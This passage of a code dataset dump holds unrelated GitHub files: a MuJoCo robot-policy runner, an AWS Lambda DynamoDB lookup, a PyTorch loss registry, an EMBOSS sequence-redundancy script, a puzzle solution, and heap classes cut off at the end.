+{"seq_id":"28962345388","text":"\nimport os\nimport tysoc_bindings\nimport pytysoc\n\nimport numpy as np\nimport tensorflow as tf\nimport tf_util\nimport load_policy\n\n_policyFn = load_policy.load_policy( 'experts/Ant-v2.pkl' )\n\n_agent = tysoc_bindings.PyCoreAgent( 'walker1', [0,0,0.75], 'mjcf', 'ant' )\n_terrainGen = tysoc_bindings.PyStaticTerrainGen( 'terrainGen0' ) \n_terrainGen.createPrimitive( 'plane',\n                             [200,10,0.1],\n                             [0,0,0],\n                             [0,0,0],\n                             [.2,.3,.4],\n                             'chessboard' )\n\n_scenario = tysoc_bindings.PyScenario()\n_scenario.addAgent( _agent )\n_scenario.addTerrainGen( _terrainGen )\n\n_runtime = pytysoc.createRuntime( physicsBackend = pytysoc.BACKENDS.PHYSICS.MUJOCO,\n                                  renderingBackend = pytysoc.BACKENDS.RENDERING.GLVIZ,\n                                  workingDir = pytysoc.PATHS.WORKING_DIR )\n\n_simulation = _runtime.createSimulation( _scenario )\n_simulation.initialize()\n\n_visualizer = _runtime.createVisualizer( _scenario )\n_visualizer.initialize()\n\n_actionDim = _agent.getActionDim()\nprint( 'actionSpaceDim: ', _actionDim )\n\n_running = False\n\nwith tf.Session() :\n    tf_util.initialize()\n\n    while _visualizer.isActive() :\n\n        # press key P to start simulation (sorry, forgot to map keys in python)\n        if _visualizer.checkSingleKeyPress( 15 ) :\n            _running = not _running\n\n        if _running :\n            _obsMap = _simulation.getDictOfVectorizedSimData()\n            _observation = np.concatenate( [ _obsMap['qpos'].flat[2:],\n                                             _obsMap['qvel'].flat,\n                                             np.clip( _obsMap['comForcesExt'], -1, 1 ).flat ] )\n    \n            _action = _policyFn( _observation[None,:] )\n            _agent.setActions( _action )\n    \n            _simulation.step()\n\n        _visualizer.render()\n","repo_name":"wpumacay/loco-bullet","sub_path":"_legacy/examples/python/ant_sample.py","file_name":"ant_sample.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32491891694","text":"import boto3\n\ndef lambda_handler(event, context):\n    phone = event['phone']\n    client = boto3.resource('dynamodb')\n    table = client.Table('DrackerUser')\n    item = table.get_item(\n        Key={\n        'phone': phone\n        }\n    )\n    try:\n        data = item['Item']\n    except:\n        data = None\n    \n    return data","repo_name":"raghavbhasin97/Dracker","sub_path":"iOS App V2/API/API/users/user/GET/user_data.py","file_name":"user_data.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"21"}
+{"seq_id":"11774733042","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: Donny You(youansheng@gmail.com)\n# Loss Manager for Image Classification.\n\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport torch\n\nfrom loss.modules.cls_modules import FCCELoss, FCCenterLoss\nfrom loss.modules.det_modules import FRLoss, SSDMultiBoxLoss, YOLOv3Loss, SSDFocalLoss\nfrom loss.modules.pose_modules import OPMseLoss\nfrom loss.modules.seg_modules import FSCELoss, FSOhemCELoss, FSAuxCELoss, FSAuxEncCELoss, FSAuxOhemCELoss\nfrom utils.tools.logger import Logger as Log\n\n\nCLS_LOSS_DICT = {\n    'fc_ce_loss': FCCELoss,\n    'fc_center_loss': FCCenterLoss\n}\n\nDET_LOSS_DICT = {\n    'ssd_multibox_loss': SSDMultiBoxLoss,\n    'ssd_focal_loss': SSDFocalLoss,\n    'yolov3_det_loss': YOLOv3Loss,\n    'fr_loss': FRLoss\n}\n\nPOSE_LOSS_DICT = {\n    'op_mse_loss': OPMseLoss,\n}\n\nSEG_LOSS_DICT = {\n    'fs_ce_loss': FSCELoss,\n    'fs_ohemce_loss': FSOhemCELoss,\n    'fs_auxce_loss':FSAuxCELoss,\n    'fs_auxencce_loss': FSAuxEncCELoss,\n    'fs_auxohemce_loss': FSAuxOhemCELoss\n}\n\n\nclass LossManager(object):\n    def __init__(self, configer):\n        self.configer = configer\n\n    def _parallel(self, loss):\n        if self.configer.get('network', 'loss_balance') and len(range(torch.cuda.device_count())) > 1:\n            from extensions.parallel.data_parallel import DataParallelCriterion\n            loss = DataParallelCriterion(loss)\n\n        return loss\n\n    def get_cls_loss(self, loss_type=None):\n        key = self.configer.get('loss', 'loss_type') if loss_type is None else loss_type\n        if key not in CLS_LOSS_DICT:\n            Log.error('Loss: {} not valid!'.format(key))\n            exit(1)\n\n        loss = CLS_LOSS_DICT[key](self.configer)\n        return self._parallel(loss)\n\n    def get_seg_loss(self, loss_type=None):\n        key = self.configer.get('loss', 'loss_type') if loss_type is None else loss_type\n        if key not in SEG_LOSS_DICT:\n            Log.error('Loss: {} not valid!'.format(key))\n            exit(1)\n\n        loss = SEG_LOSS_DICT[key](self.configer)\n        return self._parallel(loss)\n\n    def get_det_loss(self, loss_type=None):\n        key = self.configer.get('loss', 'loss_type') if loss_type is None else loss_type\n        if key not in DET_LOSS_DICT:\n            Log.error('Loss: {} not valid!'.format(key))\n            exit(1)\n\n        loss = DET_LOSS_DICT[key](self.configer)\n        return self._parallel(loss)\n\n    def get_pose_loss(self, loss_type=None):\n        key = self.configer.get('loss', 'loss_type') if loss_type is None else loss_type\n        if key not in POSE_LOSS_DICT:\n            Log.error('Loss: {} not valid!'.format(key))\n            exit(1)\n\n        loss = POSE_LOSS_DICT[key](self.configer)\n        return self._parallel(loss)\n\n","repo_name":"donnyyou/PyTorchCV","sub_path":"loss/loss_manager.py","file_name":"loss_manager.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"21"}
+{"seq_id":"72527355254","text":"\"\"\"\n=============================================\npairwiseGlobalAlignment_sequenceIdentities.py\n=============================================\n\nPT-BR:\nScript para realizar alinhamento global par-a-par. O input consiste de um arquivo multifasta. O argumento --identity configura o limite mínimo de identidade para que duas sequencias sejam consideradas redundantes. As saidas consistem de arquivo tabulares indicando a identidade de sequencias entre cada par e um arquivo fasta de sequencias não-redundantes. O programa utiliza EMBOSS (needle) para realizar os alinhamentos.\n\nEN:\nScript to perform global alignments. The input consists of a multifasta file. The --identity argument sets the minimum identity for two strings be considered redundant. The outputs consist of tabular files indicating the sequence identity between each pair and a fasta file with non-redundant sequences. The script uses EMBOSS (needle) to perform the alignments.\n\nType python3 pairwiseGlobalAlignment_sequenceIdentities.py -help to see the instructions.\n\n\"\"\"\n\nprint(__doc__)\n\nusage = \"\\n\\tUSAGE: python3 pairwiseGlobalAlignmentParallel_sequenceIdentities.py [options]\\n\\n\\\n\t*** Argumentos obrigatorios:\\n\\\n\t\t--sequences <arquivo fasta> (arquivo de sequencias para alinhamentos)\\n\\\n\t\t--cpus <integer> (numero de CPUs para executar alinhamentos)\\n\\n\\\n\t\t--identity <float> (limite de identidade. Pares de sequencias com valor de identidade maior ou igual ao especificado serao consideradas redundantes.)\\n\\n\\\n\t*** Argumento opcionais:\\n\\\n\t\t--ids <lista de IDs> (para realizar alinhamento somente das sequencias especificadas na lista de identificadores)\\n\\\n\t\t--dna2protein (quando possuir sequencia de nucleotideos e quiser alinha-las como proteína)\\n\\n\\\n\t*** Modulos obrigatorios:\\n\\\n\t\tformataFasta_17Mar2020.py\\n\\\n\t\textraiSeqFastaIDs_24Mar2020.py\\n\\n\"\n\n\n#realizar alinhamento global par a par de sequencias para obter identidade\n#Vou usar o EMBOSS (ferramenta needle) para isso.\n\n#export PATH=$PATH:/home/tuliomorgan/doutorado/programas/EMBOSS-6.6.0/emboss\n\ndef loopAlinhamento(cpus, fasta_selected, cutoff_identidade):\n\timport sys, re, subprocess\n\n\t## -- teste para saber o se needle esta configurado no sistema -- ##\n\tneedle = subprocess.Popen(['which', 'needle'],stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\tcase = needle.communicate() # communicate() returns a tuple (stdoutdata, stderrdata)\n\tif case[0]:\n\t\tprint ('\\nFerramenta Needle do pacote EMBOSS encontrada com sucesso.\\n')\n\telse:\n\t\tprint (\"ERRO: Ferramenta Needle não encontrada. Obtenha o pacote EMBOSS em http://emboss.open-bio.org/html/adm/ch01s01.html ou configure a variavel de ambiente PATH para o diretorio que contem o executável needle.\\n\")\n\t\texit()\n\n\t### -- iniciar subrotina de alinhamentos -- ##\n\n\t# lista com os valores de identidade de cada par, mas abaixo do vlaores de cutoff de identidade. Ja adicionei o cabecalho\n\tresultados_sequencias_nao_redundantes = ['query\\tsubject\\tidentidade(%)']\n\t# lista com os valores de identidade de cada par, mas maior ou igual do vlaores de cutoff de identidade. Ja adicionei o cabecalho\n\tresultados_sequencias_Redundantes = ['query\\tsubject\\tidentidade(%)']\n\n\t# criar um dicionario com todas as sequenicas do dataset. Vai ser util quando for recuperar as sequencias qeu devem ser mantidas no dataset, pois vou removendo-as da lista fasta_selected a medida que geramos os arquivos chunkID\n\tlist_all_sequences = []\n\tfor elemento in fasta_selected:\n\t\tlist_all_sequences.append(elemento)\n\n\t# didionario de proteinas main. Como vou remove-las do dataset (para ela nao ser alinahda novamente com outras em outros loops), vamos criar um dicionario para salva-las e adiciona-las novamente na saida script.\n\tdict_proteinas_main = {}\n\n\t#dicionario com os tamanhos das sequencias. Vai ser util quando for calcular a %identidade\n\tdict_lengths = {}\n\n\t# enquanto houver 2 ou mais sequencias no arquivo fasta, alinhamentos devem ser conduzidos.\n\twhile len(fasta_selected) >= 2:\n\t\t\n\t\t# definir proteina principal (vai ser alinhada contra todas as demais).\n\t\tproteinMain = fasta_selected[0] # primeiro elemento de 'fasta_selected'. Eh a proteina mais longa do dataset (uma vez que foram organizadas por tamanho com o 'orderSequencesBySize'.\n\t\t\n\t\tfile = open('temp_proteinMain_alinhar.fasta', 'w')\n\t\t# salva o ID e a sequencia da proteina Main\n\t\tfile.writelines(proteinMain)\n\t\tfile.close()\n\n\t\t# remove a proteina principal do dicionario 'fasta_selected'. Nao devo alinhar ela com ela mesma.\n\t\tfasta_selected.remove(proteinMain)\n\n\t\t# adiciona-la no dicionario de proteinas Main\n\t\tproteinMain = proteinMain.split('\\n')\n\t\tdict_proteinas_main[proteinMain[0]] = proteinMain[1]\n\n\t\t# quebrar a lista 'fasta_selected' em numero de arquivos de acordo com o numero de processadores requisitados.\n\t\t# primeiro avalia se o numero de sequencias é maior ou igual ao numero de cpus requisitados. Caso contrario, adequa o numero de cpus ao numero de sequencias.\n\t\tif len(fasta_selected) <= int(cpus):\n\t\t\tcpus = len(fasta_selected)\n\n\t\t# elimina arquivos gerados do loop de alinhamento anterior.\n\t\tsubprocess.run(['rm temp_*_chunkID*'], shell = True, stdout = subprocess.PIPE, stderr=subprocess.PIPE)\n\n\t\t# criacao dos arquivos de sequencias para alinhamento com a proteina main. Serao criados numero de aquivos igual ao numero de cpus requisitados, de modo que os alinhamentos sejam executados em paralelo.\t\t\n\t\tcomprimento_original_fasta_selected = len(fasta_selected)\n\t\t\n\t\tnSplit = 1\n\t\twhile nSplit <= int(cpus) and len(fasta_selected) != 0:\n\t\t\tif comprimento_original_fasta_selected % int(cpus) != 0 : # significa que nao vamos ter mesmo nuemro de sequenicas em todos os arquivos. O ultimo arquivo deve ficar com menos.\n\t\t\t\tnumSeqEachFile = comprimento_original_fasta_selected//(int(cpus)-1)\n\t\t\t\tnumSeqEachFile_resto = comprimento_original_fasta_selected % (int(cpus)-1)\n\t\t\telse:\n\t\t\t\tnumSeqEachFile = comprimento_original_fasta_selected//int(cpus)\n\t\t\t\tnumSeqEachFile_resto = False\n\n\t\t\tfile = open('temp_sequences_chunkID'+str(nSplit), 'w')\n\n\t\t\tif len(fasta_selected) == 1: # se so houver 1 sequencia na variavel ou se sobrou somente 1, salva-la em um arquivo\n\t\t\t\tfile.writelines(fasta_selected[0]+'\\n')\n\t\t\t\tseq_id = fasta_selected[0].split('\\n')[0].lstrip('>')\n\t\t\t\ttamanho = len(fasta_selected[0].split('\\n')[1])\n\t\t\t\tdict_lengths[seq_id] = tamanho\n\t\t\t\tdel fasta_selected[0]\n\t\t\t\tfile.close()\n\n\t\t\t# a variavel \"numSeqEachFile\" é o numero de sequencias em cada arquivo fasta. Vai entrar nesse if se nao houver numSeqEachFile_resto\n\t\t\telif nSplit <= int(cpus) and not numSeqEachFile_resto:\n\t\t\t\twhile numSeqEachFile:\n\t\t\t\t\tfile.writelines(fasta_selected[0]+'\\n')\n\t\t\t\t\tseq_id = fasta_selected[0].split('\\n')[0].lstrip('>')\n\t\t\t\t\ttamanho = len(fasta_selected[0].split('\\n')[1])\n\t\t\t\t\tdict_lengths[seq_id] = tamanho\n\t\t\t\t\tdel fasta_selected[0]\n\t\t\t\t\tnumSeqEachFile -= 1\n\t\t\t\tfile.close()\n\t\t\t\tnSplit += 1\n\n\t\t\telif nSplit < int(cpus) and numSeqEachFile_resto: # essa sao todas as iteracoes para salvar as sequencias quando temos sequenicas de resto.\n\t\t\t\twhile numSeqEachFile:\n\t\t\t\t\tfile.writelines(fasta_selected[0]+'\\n')\n\t\t\t\t\tseq_id = fasta_selected[0].split('\\n')[0].lstrip('>')\n\t\t\t\t\ttamanho = len(fasta_selected[0].split('\\n')[1])\n\t\t\t\t\tdict_lengths[seq_id] = tamanho\n\t\t\t\t\tdel fasta_selected[0]\n\t\t\t\t\tnumSeqEachFile -= 1\n\t\t\t\tfile.close()\n\t\t\t\tnSplit += 1\n\n\t\t\telif nSplit == int(cpus) and numSeqEachFile_resto: # essa eh a ultima iterecao para salvar os arquivos de resto\n\t\t\t\twhile numSeqEachFile_resto:\n\t\t\t\t\tprint(fasta_selected)\n\t\t\t\t\tfile.writelines(fasta_selected[0]+'\\n')\n\t\t\t\t\tseq_id = fasta_selected[0].split('\\n')[0].lstrip('>')\n\t\t\t\t\ttamanho = len(fasta_selected[0].split('\\n')[1])\n\t\t\t\t\tdict_lengths[seq_id] = tamanho\n\t\t\t\t\tdel fasta_selected[0]\n\t\t\t\t\tnumSeqEachFile_resto -= 1\n\t\t\t\tfile.close()\n\t\t\t\tnSplit += 1\n\n\t\t# chamada da funcao de alinhamento global par a par. A proteina main sera alinhada com cada proteina de cada arquivo fasta gerado no bloco anterior.\n\t\tchunkid = 1\n\t\tchildProcess = []\n\t\twhile chunkid <= cpus:\n\n\t\t\tnomeOutput = 'temp_align_sequences_chunkID'+str(chunkid)\n\t\t\tnomeSequencesAlinhar = 'temp_sequences_chunkID'+str(chunkid) # nomes dos aruqivos gerados no while anterior\n\n\t\t\twith open(nomeOutput, 'w') as exonerateOutput:\n\n\t\t\t\tneedle_cline = subprocess.Popen(['needle', '-asequence', 'temp_proteinMain_alinhar.fasta', '-bsequence',nomeSequencesAlinhar, '-gapopen', str(10), '-gapextend', str(0.5), '-outfile',nomeOutput],stdout = subprocess.PIPE, stderr=subprocess.PIPE)\n\t\t\t\tchildProcess.append(needle_cline)  # ... e adiciona o comando em uma lista de processos\n\t\t\t\tchunkid += 1\n\n\t\tfor needleCall in childProcess: # para cada processo da lista 'childProcess' em execucao...\n\t\t\tneedleCall.wait() # ... informa para aguardar sua finalizacao. Dessa forma, os processos serao executados paralelamente.\n\n\t\tsubprocess.run(['cat temp_align_sequences_chunkID* > temp_all_alignments'], shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE) # concatena os resultados de alinhamentos.\n\n\t\t# traneferir os resultados de alinhamentos para uma variavel do programa.\n\t\tfile = open('temp_all_alignments', 'r')\n\t\talinhamentos = file.readlines()\n\t\tfile.close()\n\n\t\t# analisar a identidade entre as sequencias.\n\t\tidsProteinasManter = []\n\t\tfor linha in alinhamentos:\n\t\t\t# Nesse for, tambem recuperar o comprimento das sequencias alinhadas (tamanho_seq_1 & tamanho_seq_2). Calcular a %identidade considerando o tamanho da menor sequencia. Pode ser que ela seja completamente englobado pela outra (com 100% de identidade). Nesse caso, se pegar somente o tamanho da maior sequencia, a %identidade nao da 100% (mesmo a sequencia menor sendo totalmente englobada pela maior).\n\t\t\tif linha.startswith('# 1:'): # id da sequencia proteinMain.\n\t\t\t\tlinhaSplit = linha.split()\n\t\t\t\tproteinaPrincipal = linhaSplit[2]\n\t\t\t\ttamanho_seq_1 = len(proteinMain[1]) # sequencia 'main'\n\n\t\t\telif linha.startswith('# 2:'): # id da sequencia que alinhou com proteinMain.\n\t\t\t\tlinhaSplit = linha.split()\n\t\t\t\tproteinaAlinhada = linhaSplit[2] # esse ID fica truncado pelo Needle (quebra no espaco em branco e pega o primeiro campo)\n\t\t\t\t\n\t\t\t\t# para recuperar o tamanho da sequencia 2, devemos busca-la do dicionario dict_lengths\n\t\t\t\tfor chave in dict_lengths.keys():\n\t\t\t\t\tchaveSplit = chave.split(' ')\n\t\t\t\t\tif chave == proteinaAlinhada: # o ID proteinaAlinhada fica truncado pelo Needle (quebra no espaco em branco e pega o primeiro campo)\n\t\t\t\t\t\ttamanho_seq_2 = dict_lengths[chave]\n\t\t\t\t\t\tbreak\n\t\t\t\t\telif chaveSplit[0] == proteinaAlinhada:\n\t\t\t\t\t\ttamanho_seq_2 = dict_lengths[chave]\n\t\t\t\t\t\tbreak\n\n\t\t\t# selecionar os IDs de proteinas nao redundantes. Essas irao para um novo loop de alinhamento.\n\t\t\telif linha.startswith('# Identity:'):\n\t\t\t\tidentidade = ''.join(re.findall(r'(?<=\\()[ 0-9]+.[0-9]+(?<!%)', linha))\n\t\t\t\tnumero_matches = int(''.join(re.findall(r'(?<=:)[ 0-9]+(?<!/)', linha)).lstrip(' ')) # recupera o numero de matches.\n\n\t\t\t\t# calcular a %identidade contra a menor sequencia. Pode ser que ela tenha sido englobada pela maior, com 100% de identidade.\n\t\t\t\tif tamanho_seq_1 > tamanho_seq_2:\n\t\t\t\t\tidentidade_menor_seq = (numero_matches/tamanho_seq_2)*100\n\t\t\t\telif tamanho_seq_1 < tamanho_seq_2:\n\t\t\t\t\tidentidade_menor_seq = (numero_matches/tamanho_seq_1)*100\n\t\t\t\t#nao precisa testar tamanho_seq_1 == tamanho_seq_2 pois se isso ocorrer a identidade fornecida pela needle esta eh a certa.\n\t\t\t\n\t\t\t\t# se verdadeiro, significa que a sequencia menor foi englobado pela maior. Podemos remove-lo do dataset.\n\t\t\t\tif identidade_menor_seq == 100:\n\t\t\t\t\t#print('proteina descartar (englobada)',proteinaAlinhada)\n\t\t\t\t\tresultados_sequencias_Redundantes.append(proteinaPrincipal+'\\t'+proteinaAlinhada+'\\t'+str(\"{:.2f}\".format(identidade_menor_seq)))\n\n\t\t\t\telif float(identidade) < cutoff_identidade*100: # se verdadeiro, as sequencias NAO sao consideradas redundantes.\n\t\t\t\t\t#print('proteina manter',proteinaAlinhada)\n\t\t\t\t\tidsProteinasManter.append(proteinaAlinhada)\n\t\t\t\t\t# salvar o resultado de indentidade para as duas sequencias alinhadas\n\t\t\t\t\tresultados_sequencias_nao_redundantes.append(proteinaPrincipal+'\\t'+proteinaAlinhada+'\\t'+identidade)\n\t\t\t\telse:\n\t\t\t\t\t#print('proteina descartar',proteinaAlinhada)\n\t\t\t\t\tresultados_sequencias_Redundantes.append(proteinaPrincipal+'\\t'+proteinaAlinhada+'\\t'+identidade)\n\t\t\n\t\t# salva as sequencias nao redundantes em um novo dicionario\n\t\tnew_fasta_selected = []\n\t\tfor ids in idsProteinasManter:\n\t\t\tfor elemento in list_all_sequences:\n\t\t\t\tID = str(elemento.split('\\n')[0].lstrip('>'))\n\t\t\t\tif ids == ID:\n\t\t\t\t\tnew_fasta_selected.append(elemento)\n\t\t\t\t\tbreak\n\t\t\t\t# o needle faz truncagem de IDs, reportando apenas os caracteres ate o primeiro espaco em branco\n\t\t\t\tID = ID.split(' ')[0]\n\t\t\t\tif ids == ID:\n\t\t\t\t\tnew_fasta_selected.append(elemento)\n\t\t\t\t\tbreak\n\t\t\n\t\t# substitui o novo fasta_selected (com as sequencias nao redundantes comparadas com a proteinaMain) com o nome fasta_select, e volta para o while do inicio do script para selecionar nova proteinMain.\n\t\tfasta_selected = new_fasta_selected\n\n\t\tif len(fasta_selected) == 1: #so sobrou uma sequencia no 'fasta_selected' e essa sequencia eh boa, pois seu ID foi mantido ate aqui (nao eh redundante)\n\t\t\t# adiciona-la no dicionario de proteinas Main\n\t\t\tfasta_selected = ''.join(fasta_selected)\n\t\t\tdict_proteinas_main[fasta_selected.split('\\n')[0]] = fasta_selected.split('\\n')[1]\n\t\t\tbreak # quebra o \"while len(fasta_selected) >= 2\"\n\n\treturn dict_proteinas_main, resultados_sequencias_nao_redundantes, resultados_sequencias_Redundantes\n\t\n### -- uso do script de forma independente, nao como modulo de outro script -- ###\n\nif __name__ == '__main__':\n\timport sys\n\tif len(sys.argv) < 4:\n\t\tprint(usage)\n\t\texit()\n\n\telse:\n\t\ttraduz = False\n\n\t\tif 'dna2protein' in sys.argv:\n\t\t\tsys.argv.remove('dna2protein')\n\t\t\ttraduz = True\n\n\t\tif '--sequences' in sys.argv:\t\n\t\t\targSequences = sys.argv.index('--sequences')+1\n\t\t\tfile = open(sys.argv[argSequences])\n\t\t\tarq_fasta = file.readlines()\n\t\t\tfile.close()\n\t\t\t\n\t\t\timport orderSequencesBySize #formata o arquivo multifasta e ordena por tamanho\n\t\t\treverse = False # ordenar as sequencias da maior para menor.\n\t\t\tfasta_selected = orderSequencesBySize.orderBySize(arq_fasta, reverse)\n\n\t\telse:\n\t\t\tprint(usage)\n\t\t\texit()\n\n\t\tif '--cpus' in sys.argv: # numero de divisoes que serao aplicadas ao dataset. Isso pertimite executar alinhamentos em paralelo.\n\t\t\targcpus = sys.argv.index('--cpus')+1\n\t\t\tcpus = int(sys.argv[argcpus])\n\t\telse:\n\t\t\tprint(usage)\n\t\t\texit()\n\n\t\tif '--identity' in sys.argv: # limite de identidade (inclusive) para considerar duas sequencias redundantes.\n\t\t\targIdentity = sys.argv.index('--identity')+1\n\t\t\tcutoff_identidade = float(sys.argv[argIdentity])\n\t\telse:\n\t\t\tprint(usage)\n\t\t\texit()\n\n\t\tif '--ids' in sys.argv:\n\t\t\targIDS = sys.argv.index('--ids')+1\n\t\t\tfile = open(sys.argv[argIDS], 'r')\n\t\t\tlista_ids = file.readlines()\n\t\t\tfile.close()\n\t\t\t\n\t\t\timport extraiSeqFastaIDs_24Mar2020\n\t\t\tfasta_selected = extraiSeqFastaIDs_24Mar2020.ExtraiSeqFastaIDs(lista_ids, fasta_selected)\n\n\t\telse:\n\t\t\tlista_ids = None\n\n\t\tif traduz:#se o argumento 'dna2protein' foi passado para o programa, fazemos a traducao da sequencia de DNA para depois realizar o alinhemnto global par a par.\n\n\t\t\tfrom Bio.Seq import Seq\n\t\t\ttranslated_fasta_selected = {}\n\t\t\tfor chave in fasta_selected.keys():\n\t\t\t\tsequence = fasta_selected[chave]\n\t\t\t\tsequence = Seq(sequence) #transformar a sequencia j (uma string) em um objeto 'Seq' e salvar na variavel seq.\n\t\t\t\tprotein_raw = str(sequence.translate()) #a variavel seq eh um objeto Seq e podemos aplicar a funcao translate. Apos, a traducao em aminoacidos, obtem-se resulado com a sequencia de aminoacidos e outras coisas (p.e. [Seq('TLYIKMVCLSLSEERGYIEALSVW*', HasStopCodon(ExtendedIUPACProtein(), '*'))]). Mas como quero imprimir somente a sequencia de aminoacidos, transformamos a variavel em string. Muito facil\n\t\t\t\ttranslated_fasta_selected[chave+' [translated]'] = protein_raw\n\n\t\t\tfasta_selected = translated_fasta_selected\n\n\t\t#chamada da funcao loopAlinhamento.\n\t\tdict_proteinas_main, resultados_sequencias_nao_redundantes, resultados_sequencias_Redundantes = loopAlinhamento(cpus, fasta_selected, cutoff_identidade)\n\t\t\n\t\t#### ----- para imprimir a chave e o valor (sequencia) devemos fazer um loop ----- #####\n\t\tfile = open('fasta_selected_sem_redundanciaMP.fasta','w')\n\t\tfor chave in dict_proteinas_main.keys():\n\t\t\tfile.writelines(chave+'\\n'+dict_proteinas_main[chave]+'\\n')\t\t\n\t\tfile.close()\n\n\t\t### --- imprimir os valores de identidade para sequenicas consideradas NAO redundantes --- ###\n\t\tfile = open('identidade_sequencias_nao_redundantes.txt','w')\n\t\tfor elemento in resultados_sequencias_nao_redundantes:\n\t\t\tfile.writelines(elemento+'\\n')\t\t\t\n\t\tfile.close()\n\n\t\t### --- imprimir os valores de identidade para sequenicas consideradas Redundantes --- ###\n\t\tfile = open('identidade_sequencias_redundantes.txt','w')\n\t\tfor elemento in resultados_sequencias_Redundantes:\n\t\t\tfile.writelines(elemento+'\\n')\t\t\t\n\t\tfile.close()\n","repo_name":"TulioMorgan/python_scripts","sub_path":"biological_sequence_manipulation/pairwiseGlobalAlignment_sequenceIdentities.py","file_name":"pairwiseGlobalAlignment_sequenceIdentities.py","file_ext":"py","file_size_in_byte":16891,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37449456782","text":"# 문제가 개편되었습니다. 이로 인해 함수 구성이나 테스트케이스가 변경되어, 과거의 코드는 동작하지 않을 수 있습니다.\r\n# 새로운 함수 구성을 적용하려면 [코드 초기화] 버튼을 누르세요. 단, [코드 초기화] 버튼을 누르면 작성 중인 코드는 사라집니다.\r\nfrom itertools import *\r\ndef solution(brown, red):\r\n    brsum=[]\r\n    for i in range(1,brown+red+1):\r\n        if (brown+red)%i==0 and (brown+red)/i>=i:\r\n            brsum.append([int((brown+red)/i),i])\r\n            \r\n    \r\n    answer=[]\r\n    for i in brsum:\r\n        if i[0]*i[1]==brown+red and (i[0]-2)*(i[1]-2)==red :\r\n            answer=list(i)\r\n            break\r\n    return answer","repo_name":"sunsu2737/algorithm","sub_path":"programmers/카펫.py","file_name":"카펫.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11047440432","text":"class Max_Heap:\n    def max_heapify(self, arr, n, i):\n        largest = i\n        left = 2 * i + 1\n        right = 2 * i + 2\n\n        # Check if left child is larger than root\n        if left < n and arr[left] > arr[largest]:\n            largest = left\n\n        # Check if right child is larger than largest\n        if right < n and arr[right] > arr[largest]:\n            largest = right\n\n        # If the largest element is not the root, swap them\n        if largest != i:\n            arr[i], arr[largest] = arr[largest], arr[i]\n            # Recursively max heapify the affected subtree\n            self.max_heapify(arr, n, largest)\n\n    def delete_max(self, arr):\n        # If the heap is empty, return None\n        if len(arr) == 0:\n            return None\n        # If the heap has only one element, remove and return it\n        if len(arr) == 1:\n            return arr.pop(0)\n        # If the heap has more than one element, remove the root (which is the maximum) and fix the heap property\n        else:\n            max = arr[0]\n            arr[0] = arr.pop()\n            self.max_heapify(arr, len(arr), 0)\n            return max\n\n    def insert_node(self, arr, value):\n        arr.append(value)\n        i = len(arr)-1\n        # If the value is bigger than its parent, swap it with its parent until it reaches its correct position\n        while i > 0 and arr[(i-1)//2] < value:\n            arr[(i-1)//2], arr[i] = arr[i], arr[(i-1)//2]\n            i = (i-1)//2\n        return arr\n\n    def build_maxheap(self,arr):\n        n = len(arr)\n        # Starting from the last non-leaf node, perform max_heapify on each node to create a max heap\n        for i in range(n//2-1 ,-1 ,-1):\n            self.max_heapify(arr, n, i)\n\n    def print_heap(self, arr):\n        print(*arr)\n\n\narr = [20,45,12,89,36,52,41,96,87]\nheap = Max_Heap()\nheap.build_maxheap(arr)\nprint(\"Max heap:-\")\nheap.print_heap(arr)\nprint('deleted max value')\nheap.delete_max(arr)\nheap.print_heap(arr)\nprint()\n\n\n\nclass Min_Heap:\n\n    def min_heapify(self, arr, n, i):\n        smallest = i\n        left = 2 * i + 1\n        right = 2 * i + 2\n\n        # Check if left child is smaller than root\n        if left < n and arr[left] < arr[smallest]:\n            smallest = left\n\n        # Check if right child is smaller than largest\n        if right < n and arr[right] < arr[smallest]:\n            smallest = right\n\n        # If the smallest element is not the root, swap them\n        if smallest != i:\n            arr[i], arr[smallest] = arr[smallest], arr[i]\n            # Recursively min heapify the affected subtree\n            self.min_heapify(arr, n, smallest)\n\n    def delete_min(self, arr):\n        # If the heap is empty, return None\n        if len(arr) == 0:\n            return None\n        # If the heap has only one element, remove and return it\n        if len(arr) == 1:\n            return arr.pop(0)\n        # If the heap has more than one element, remove the root (which is the minimum) and fix the heap property\n        else:\n            min = arr[0]\n            arr[0] = arr.pop()\n            self.min_heapify(arr,0)\n            return min\n\n    def insert_node(self, arr, value):\n        arr.append(value)\n        i = len(arr)-1\n        # If the value is smaller than its parent, swap it with its parent until it reaches its correct position\n        while i > 0 and arr[(i-1)//2] > arr[i]:\n            arr[(i-1)//2], arr[i] = arr[i], arr[(i-1)//2]\n            i = (i-1)//2\n        return arr\n\n    def build_minheap(self,arr):\n        n = len(arr)\n        # Starting from the last non-leaf node, perform min_heapify on each node to create a min heap\n        for i in range(n//2-1, -1, -1):\n            self.min_heapify(arr, n, i)\n\n    def print_heap(self, arr):\n        print(arr)\n\n\narr = [20,45,12,89,36,52,41,96,87]\nheap = Min_Heap()\nheap.build_minheap(arr)\nprint(\"Min Heap:-\")\nheap.print_heap(arr)\n\n\nclass HeapSort:\n\n    def build_heap(self, arr):\n        n = len(arr)\n        # Start from the last non-leaf node and work backwards\n        for i in range(n//2 - 1, -1, -1):\n            # Perform max heapify on each node or heapify each non-leaf\n            self.max_heapify(arr, n, i)\n\n    def max_heapify(self, arr, n, i):\n        largest = i\n        left = 2 * i + 1\n        right = 2 * i + 2\n\n        # Check if left child is larger than root\n        if left < n and arr[left] > arr[largest]:\n            largest = left\n\n        # Check if right child is larger than largest\n        if right < n and arr[right] > arr[largest]:\n            largest = right\n\n        # If the largest element is not the root, swap them\n        if largest != i:\n            arr[i], arr[largest] = arr[largest], arr[i]\n            # Recursively max heapify the affected subtree\n            self.max_heapify(arr, n, largest)\n\n    def 